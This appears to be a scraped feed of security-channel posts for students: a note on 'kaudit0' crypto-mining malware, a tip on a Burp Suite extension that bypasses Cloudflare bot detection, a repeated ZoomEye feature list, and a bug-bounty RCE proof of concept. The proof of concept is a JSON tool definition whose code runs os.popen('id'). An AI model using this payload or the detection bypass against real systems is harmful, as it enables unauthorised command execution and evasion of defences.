I'm going to write about a piece of malware that appears under the name "kaudit0." I did some research, and all the information I found indicates that its purpose is crypto-mining. There isn't much information available about it, but what does exist appears to be credible.
#malware
#malware
POC:
{
"name": "darkshadow",
"args": {},
"json_schema": {"type": "object", "properties": {}},
"source_code": "def darkshadow():\n import os\n data='0'.encode('utf-8')\n return ''+os.popen('id').read()"
}#BugBounty #RCE
🔥1
Cloudflare has started blocking proxy tools like Burp Suite. If you encounter this error, download the “Bypass Bot Detection” extension from the BApp Store in Burp Suite. It should resolve the issue for Burp Suite.
#Cloudflare #Pentest #BugBounty #from_X
#Cloudflare #Pentest #BugBounty #from_X
https://www.zoomeye.ai
Key Features and Functionality:
- Extensive Scanning Capabilities: ZoomEye performs continuous, global scans of the entire IPv4 and IPv6 address spaces, detecting open ports, services, and devices.
- Comprehensive Fingerprint Library: The platform maintains a rich database of over 40,000 fingerprints, covering various devices, operating systems, databases, and web applications, enabling precise identification of internet assets.
- Advanced Search Syntax: Users can perform detailed searches using specific queries, such as filtering by application, version, country, city, port, operating system, service, hostname, IP address, and more, facilitating targeted asset discovery.
- Vulnerability Detection: ZoomEye integrates a vulnerability database, allowing users to identify security weaknesses in detected assets, such as outdated software or unpatched vulnerabilities.
and more.....
#SearchEngine
Key Features and Functionality:
- Extensive Scanning Capabilities: ZoomEye performs continuous, global scans of the entire IPv4 and IPv6 address spaces, detecting open ports, services, and devices.
- Comprehensive Fingerprint Library: The platform maintains a rich database of over 40,000 fingerprints, covering various devices, operating systems, databases, and web applications, enabling precise identification of internet assets.
- Advanced Search Syntax: Users can perform detailed searches using specific queries, such as filtering by application, version, country, city, port, operating system, service, hostname, IP address, and more, facilitating targeted asset discovery.
- Vulnerability Detection: ZoomEye integrates a vulnerability database, allowing users to identify security weaknesses in detected assets, such as outdated software or unpatched vulnerabilities.
and more.....
#SearchEngine
SecList for CyberStudents
Cloudflare has started blocking proxy tools like Burp Suite. If you encounter this error, download the “Bypass Bot Detection” extension from the BApp Store in Burp Suite. It should resolve the issue for Burp Suite. #Cloudflare #Pentest #BugBounty #from_X
GitHub
GitHub - PortSwigger/bypass-bot-detection: Burp Suite extension that mutates ciphers to bypass TLS-fingerprint based bot detection
Burp Suite extension that mutates ciphers to bypass TLS-fingerprint based bot detection - PortSwigger/bypass-bot-detection